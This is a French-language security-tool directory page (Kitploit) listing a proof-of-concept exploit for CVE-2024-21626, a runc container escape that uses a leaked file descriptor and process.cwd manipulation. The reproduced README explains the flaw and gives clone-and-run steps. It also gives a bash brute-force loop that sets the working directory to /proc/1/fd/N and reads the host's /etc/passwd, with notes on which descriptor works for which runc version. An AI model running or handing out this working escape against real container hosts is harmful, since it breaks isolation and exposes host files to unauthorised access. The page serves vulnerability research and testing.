Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-21626 — Preuve de concept d'exploitation pour CVE-2024-21626, évasion de conteneur runc via une fuite de descripteurs de fichiers et une manipulation de process.cwd, permettant l'accès au système de fichiers hôte. | Kitploit
Outils/GitHubGitHub/cdxiaodong/cve-2024-21626
Sécurité des ConteneursAnalyse des VulnérabilitésExploitationTests d'IntrusionSécurité CloudÉvasion de Conteneur
GitHubcdxiaodong/cve-2024-21626

CVE-2024-21626

Preuve de concept d'exploitation pour CVE-2024-21626, évasion de conteneur runc via une fuite de descripteurs de fichiers et une manipulation de process.cwd, permettant l'accès au système de fichiers hôte.

Voir le dépôt
514il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Utilisation:

  1. git clone https://github.com/cdxiaodong/CVE-2024-21626
  2. docker-compose up

Vérification : si l'on obtient le fichier /etc/passwd de l'hôte, la vulnérabilité est présente.

Environnement : runc: >=v1.0.0-rc93,<=1.1.11

Détails du principe d'attaque : Dans les versions affectées de runc, en raison de la fuite de certains descripteurs de fichiers internes lors de l'initialisation, y compris un handle vers /sys/fs/cgroup de l'hôte, et du fait que runc ne vérifie pas si le répertoire de travail final se trouve dans l'espace de noms de montage du conteneur, un attaquant peut modifier la configuration de process.cwd en /proc/self/fd/7 ou remplacer le chemin spécifique passé dans le paramètre --cwd lors de l'appel de runc exec par un lien symbolique vers /proc/self/fd/7, permettant ainsi aux processus à l'intérieur du conteneur d'accéder et de manipuler le système de fichiers de l'hôte, contournant ainsi le mécanisme d'isolation du conteneur. Plus de détails (image gif) :

  1. L'attaquant utilise un package docker-poc fait maison pour exploiter la vulnérabilité CVE-2024-21626 runc process.cwd et fuite de descripteurs de fichiers : contournement de conteneur | Snyk (snyk.io)
  2. Cette image docker n'est pas encore open source publiquement (2024-02-01) img_v3_027l_c9651fc0-e6db-4524-9363-1e12fca4f8dg
  3. Logique de modification du code source officiel : Merge pull request from GHSA-xr7r-f8xq-vfvv · opencontainers/runc@0212048 (github.com)
  4. Runc vulnérable à un contournement de conteneur via une ruse sur Process.CWD et des descripteurs de fichiers divulgués · CVE-2024-21626 · GitHub Advisory Database

CVE : CVE - CVE-2024-21626 (mitre.org) Découvreur de cette vulnérabilité : CVE-2024-21626 runc process.cwd et fuite de descripteurs de fichiers : contournement de conteneur | Snyk (snyk.io) image

Le fd réel peut varier en fonction de l'ordre d'ouverture des fichiers. On peut utiliser le script suivant pour bruteforcer :

/// #!/bin/bash

for i in {3..10} do # Utiliser la variable pour construire le répertoire de travail et exécuter le conteneur docker run -w /proc/1/fd/$i ubuntu cat ../../../../../etc/passwd done ///

Test réussi localement : fd/9 fonctionne avec runc-version : 1.1.10 1.1.2 image

Avec runc --version = 1.0.0 image

Avec runc --version = 1.1.4, fd/8 fonctionne image

Faille découverte aujourd'hui. Voici plus de détails.

On peut reproduire de plusieurs façons :

  1. Compiler runc avec des points d'arrêt manuels via runc - input
  2. Utiliser ebpf pour écouter et intercepter runc avec des points d'arrêt
  3. runc create demo puis runc exec demo ls /proc/1/fd -a pour voir directement les liens symboliques
  4. Bruteforcer avec docker run -w /proc/1/fd/0-10 ubuntu cat ../../../../../etc/passwd

À faire : Configurer des points d'arrêt sur runc pour obtenir les descripteurs de fichiers et automatiser.

Télécharger l’outil